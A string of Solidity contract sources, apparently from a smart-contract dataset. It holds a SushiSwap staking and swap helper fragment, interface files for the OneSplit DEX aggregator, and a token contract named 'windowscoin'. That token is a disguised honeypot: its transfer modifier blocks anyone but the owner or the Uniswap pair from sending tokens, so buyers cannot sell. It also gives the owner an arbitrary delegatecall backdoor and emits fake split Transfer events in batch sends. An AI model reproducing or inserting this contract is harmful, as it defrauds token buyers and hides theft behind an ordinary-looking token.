function unstakeSushiFromCreamFromBentoTo(address to, uint256 amount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), amount, 0); // withdraw `amount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(amount); // burn deposited `crXSushiToken` `amount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).balanceOf(address(this))); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `to`
}
/*
βββββ β β ββ β ββ
β ββ β β β β β β
β βββββ β β β ββββ ββββ
ββββββ β β β β β β
β β β β β
β β β β
β */
/// @notice ETH sent to Inari is converted into SUSHI and staked into xSUSHI for `msg.sender`.
receive() external payable { // SWAP `n STAKE
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
ISushiSwap(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(amountOut, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.balanceOf(address(this))); // stake resulting SUSHI into `sushiBar` xSUSHI
IERC20(sushiBar).safeTransfer(msg.sender, IERC20(sushiBar).balanceOf(address(this))); // transfer resulting xSUSHI to `msg.sender`
}
/// @notice Swap ETH to stake SUSHI into xSUSHI.
function ethToStakeSushi() external payable { // SWAP `n STAKE
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
ISushiSwap(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(amountOut, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.balanceOf(address(this))); // stake resulting SUSHI into `sushiBar` xSUSHI
IERC20(sushiBar).safeTransfer(msg.sender, IERC20(sushiBar).balanceOf(address(this))); // transfer resulting xSUSHI to `msg.sender`
}
/// @notice Swap ETH to stake SUSHI into xSUSHI for benefit of `to`.
function ethToStakeSushiTo(address to) external payable { // SWAP `n STAKE
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
ISushiSwap(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(amountOut, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.balanceOf(address(this))); // stake resulting SUSHI into `sushiBar` xSUSHI
IERC20(sushiBar).safeTransfer(to, IERC20(sushiBar).balanceOf(address(this))); // transfer resulting xSUSHI to `to`
}
/// @notice SushiSwap `fromToken` to `toToken` with `amountIn`.
function swap(address fromToken, address toToken, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(this), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
pair.swap(0, amountOut, msg.sender, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
pair.swap(amountOut, 0, msg.sender, "");
}
}
/// @notice SushiSwap all `fromToken` in this contract to `toToken`.
function swapAll(address fromToken, address toToken) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).balanceOf(address(this));
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
pair.swap(0, amountOut, msg.sender, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
pair.swap(amountOut, 0, msg.sender, "");
}
}
/// @notice SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swapTo(address to, address fromToken, address toToken, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(this), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice SushiSwap all `fromToken` in this contract to `toToken` for benefit of `to`.
function swapAllTo(address to, address fromToken, address toToken) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).balanceOf(address(this));
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
pair.swap(amountOut, 0, to, "");
}
}
}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract windowscoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/IOneSplit.sol
pragma solidity ^0.5.0;
//
// ||
// ||
// \/
// +--------------+
// | OneSplitWrap |
// +--------------+
// ||
// || (delegatecall)
// \/
// +--------------+
// | OneSplit |
// +--------------+
//
//
contract IOneSplitConsts {
// flags = FLAG_DISABLE_UNISWAP + FLAG_DISABLE_KYBER + ...
uint256 public constant FLAG_DISABLE_UNISWAP = 0x01;
uint256 public constant FLAG_DISABLE_KYBER = 0x02;
uint256 public constant FLAG_ENABLE_KYBER_UNISWAP_RESERVE = 0x100000000; // Turned off by default
uint256 public constant FLAG_ENABLE_KYBER_OASIS_RESERVE = 0x200000000; // Turned off by default
uint256 public constant FLAG_ENABLE_KYBER_BANCOR_RESERVE = 0x400000000; // Turned off by default
uint256 public constant FLAG_DISABLE_BANCOR = 0x04;
uint256 public constant FLAG_DISABLE_OASIS = 0x08;
uint256 public constant FLAG_DISABLE_COMPOUND = 0x10;
uint256 public constant FLAG_DISABLE_FULCRUM = 0x20;
uint256 public constant FLAG_DISABLE_CHAI = 0x40;
uint256 public constant FLAG_DISABLE_AAVE = 0x80;
uint256 public constant FLAG_DISABLE_SMART_TOKEN = 0x100;
uint256 public constant FLAG_ENABLE_MULTI_PATH_ETH = 0x200; // Turned off by default
uint256 public constant FLAG_DISABLE_BDAI = 0x400;
uint256 public constant FLAG_DISABLE_IEARN = 0x800;
uint256 public constant FLAG_DISABLE_CURVE_COMPOUND = 0x1000;
uint256 public constant FLAG_DISABLE_CURVE_USDT = 0x2000;
uint256 public constant FLAG_DISABLE_CURVE_Y = 0x4000;
uint256 public constant FLAG_DISABLE_CURVE_BINANCE = 0x8000;
uint256 public constant FLAG_ENABLE_MULTI_PATH_DAI = 0x10000; // Turned off by default
uint256 public constant FLAG_ENABLE_MULTI_PATH_USDC = 0x20000; // Turned off by default
uint256 public constant FLAG_DISABLE_CURVE_SYNTHETIX = 0x40000;
uint256 public constant FLAG_DISABLE_WETH = 0x80000;
uint256 public constant FLAG_ENABLE_UNISWAP_COMPOUND = 0x100000; // Works only when one of assets is ETH or FLAG_ENABLE_MULTI_PATH_ETH
uint256 public constant FLAG_ENABLE_UNISWAP_CHAI = 0x200000; // Works only when ETH<>DAI or FLAG_ENABLE_MULTI_PATH_ETH
uint256 public constant FLAG_ENABLE_UNISWAP_AAVE = 0x400000; // Works only when one of assets is ETH or FLAG_ENABLE_MULTI_PATH_ETH
uint256 public constant FLAG_DISABLE_IDLE = 0x800000;
uint256 public constant FLAG_DISABLE_MOONISWAP = 0x1000000;
}
contract IOneSplit is IOneSplitConsts {
function getExpectedReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 parts,
uint256 flags
)
public
view
returns(
uint256 returnAmount,
uint256[] memory distribution
);
function swap(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 minReturn,
uint256[] memory distribution,
uint256 flags
) public payable;
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/interface/IUniswapExchange.sol
pragma solidity ^0.5.0;
interface IUniswapExchange {
function getEthToTokenInputPrice(uint256 ethSold) external view returns (uint256 tokensBought);
function getTokenToEthInputPrice(uint256 tokensSold) external view returns (uint256 ethBought);
function ethToTokenSwapInput(uint256 minTokens, uint256 deadline)
external
payable
returns (uint256 tokensBought);
function tokenToEthSwapInput(uint256 tokensSold, uint256 minEth, uint256 deadline)
external
returns (uint256 ethBought);
function tokenToTokenSwapInput(
uint256 tokensSold,
uint256 minTokensBought,
uint256 minEthBought,
uint256 deadline,
address tokenAddr
) external returns (uint256 tokensBought);
}
// File: contracts/interface/IUniswapFactory.sol
pragma solidity ^0.5.0;
interface IUniswapFactory {
function getExchange(IERC20 token) external view returns (IUniswapExchange exchange);
}
// File: contracts/interface/IKyberNetworkContract.sol
pragma solidity ^0.5.0;
interface IKyberNetworkContract {
function searchBestRate(IERC20 src, IERC20 dest, uint256 srcAmount, bool usePermissionless)
external
view
returns (address reserve, uint256 rate);
}
// File: contracts/interface/IKyberNetworkProxy.sol
pragma solidity ^0.5.0;
interface IKyberNetworkProxy {
function getExpectedRate(IERC20 src, IERC20 dest, uint256 srcQty)
external
view
returns (uint256 expectedRate, uint256 slippageRate);
function tradeWithHint(
IERC20 src,
uint256 srcAmount,
IERC20 dest,
address destAddress,
uint256 maxDestAmount,
uint256 minConversionRate,
address walletId,
bytes calldata hint
) external payable returns (uint256);
function kyberNetworkContract() external view returns (IKyberNetworkContract);
// TODO: Limit usage by tx.gasPrice
// function maxGasPrice() external view returns (uint256);
// TODO: Limit usage by user cap
// function getUserCapInWei(address user) external view returns (uint256);
// function getUserCapInTokenWei(address user, IERC20 token) external view returns (uint256);
}
// File: contracts/interface/IKyberUniswapReserve.sol
pragma solidity ^0.5.0;
interface IKyberUniswapReserve {
function uniswapFactory() external view returns (address);
}
// File: contracts/interface/IKyberOasisReserve.sol
pragma solidity ^0.5.0;
interface IKyberOasisReserve {
function otc() external view returns (address);
}
// File: contracts/interface/IKyberBancorReserve.sol
pragma solidity ^0.5.0;
contract IKyberBancorReserve {
function bancorEth() public view returns (address);
}
// File: contracts/interface/IBancorNetwork.sol
pragma solidity ^0.5.0;
interface IBancorNetwork {
function getReturnByPath(address[] calldata path, uint256 amount)
external
view
returns (uint256 returnAmount, uint256 conversionFee);
function claimAndConvert(address[] calldata path, uint256 amount, uint256 minReturn)
external
returns (uint256);
function convert(address[] calldata path, uint256 amount, uint256 minReturn)
external
payable
returns (uint256);
}
// File: contracts/interface/IBancorContractRegistry.sol
pragma solidity ^0.5.0;
contract IBancorContractRegistry {
function addressOf(bytes32 contractName) external view returns (address);
}
// File: contracts/interface/IBancorConverterRegistry.sol
pragma solidity ^0.5.0;
interface IBancorConverterRegistry {
function getConvertibleTokenSmartTokenCount(IERC20 convertibleToken)
external view returns(uint256);
function getConvertibleTokenSmartTokens(IERC20 convertibleToken)
external view returns(address[] memory);
function getConvertibleTokenSmartToken(IERC20 convertibleToken, uint256 index)
external view returns(address);
function isConvertibleTokenSmartToken(IERC20 convertibleToken, address value)
external view returns(bool);
}
// File: contracts/interface/IBancorEtherToken.sol
pragma solidity ^0.5.0;
contract IBancorEtherToken is IERC20 {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
// File: contracts/interface/IOasisExchange.sol
pragma solidity ^0.5.0;
interface IOasisExchange {
function getBuyAmount(IERC20 buyGem, IERC20 payGem, uint256 payAmt)
external
view
returns (uint256 fillAmt);
function sellAllAmount(IERC20 payGem, uint256 payAmt, IERC20 buyGem, uint256 minFillAmount)
external
returns (uint256 fillAmt);
}
// File: contracts/interface/IWETH.sol
pragma solidity ^0.5.0;
contract IWETH is IERC20 {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
// File: contracts/interface/ICurve.sol
pragma solidity ^0.5.0;
interface ICurve {
// solium-disable-next-line mixedcase
function get_dy_underlying(int128 i, int128 j, uint256 dx) external view returns(uint256 dy);
// solium-disable-next-line mixedcase
function exchange_underlying(int128 i, int128 j, uint256 dx, uint256 minDy) external;
}
// File: contracts/interface/IChai.sol
pragma solidity ^0.5.0;
interface IPot {
function dsr() external view returns (uint256);
function chi() external view returns (uint256);
function rho() external view returns (uint256);
function drip() external returns (uint256);
function join(uint256) external;
function exit(uint256) external;
}
contract IChai is IERC20 {
function POT() public view returns (IPot);
function join(address dst, uint256 wad) external;
function exit(address src, uint256 wad) external;
}
library ChaiHelper {
IPot private constant POT = IPot(0x197E90f9FAD81970bA7976f33CbD77088E5D7cf7);
uint256 private constant RAY = 10**27;
function _mul(uint256 x, uint256 y) private pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x);
}
function _rmul(uint256 x, uint256 y) private pure returns (uint256 z) {
// always rounds down
z = _mul(x, y) / RAY;
}
function _rdiv(uint256 x, uint256 y) private pure returns (uint256 z) {
// always rounds down
z = _mul(x, RAY) / y;
}
function rpow(uint256 x, uint256 n, uint256 base) private pure returns (uint256 z) {
// solium-disable-next-line security/no-inline-assembly
assembly {
switch x
case 0 {
switch n
case 0 {
z := base
}
default {
z := 0
}
}
default {
switch mod(n, 2)
case 0 {
z := base
}
default {
z := x
}
let half := div(base, 2) // for rounding.
for {
n := div(n, 2)
} n {
n := div(n, 2)
} {
let xx := mul(x, x)
if iszero(eq(div(xx, x), x)) {
revert(0, 0)
}
let xxRound := add(xx, half)
if lt(xxRound, xx) {
revert(0, 0)
}
x := div(xxRound, base)
if mod(n, 2) {
let zx := mul(z, x)
if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) {
revert(0, 0)
}
let zxRound := add(zx, half)
if lt(zxRound, zx) {
revert(0, 0)
}
z := div(zxRound, base)
}
}
}
}
}
function potDrip() private view returns (uint256) {
return _rmul(rpow(POT.dsr(), now - POT.rho(), RAY), POT.chi());
}
function daiToChai(
IChai, /*chai*/
uint256 amount
) internal view returns (uint256) {
uint256 chi = (now > POT.rho()) ? potDrip() : POT.chi();
return _rdiv(amount, chi);
}
function chaiToDai(
IChai, /*chai*/
uint256 amount
) internal view returns (uint256) {
uint256 chi = (now > POT.rho()) ? potDrip() : POT.chi();
return _rmul(chi, amount);
}
}
// File: contracts/interface/ICompound.sol
pragma solidity ^0.5.0;
contract ICompound {
function markets(address cToken)
external
view
returns (bool isListed, uint256 collateralFactorMantissa);
}
contract ICompoundToken is IERC20 {
function underlying() external view returns (address);
function exchangeRateStored() external view returns (uint256);
function mint(uint256 mintAmount) external returns (uint256);
function redeem(uint256 redeemTokens) external returns (uint256);
}
contract ICompoundEther is IERC20 {
function mint() external payable;
function redeem(uint256 redeemTokens) external returns (uint256);
}
// File: contracts/interface/IAaveToken.sol
pragma solidity ^0.5.0;
contract IAaveToken is IERC20 {
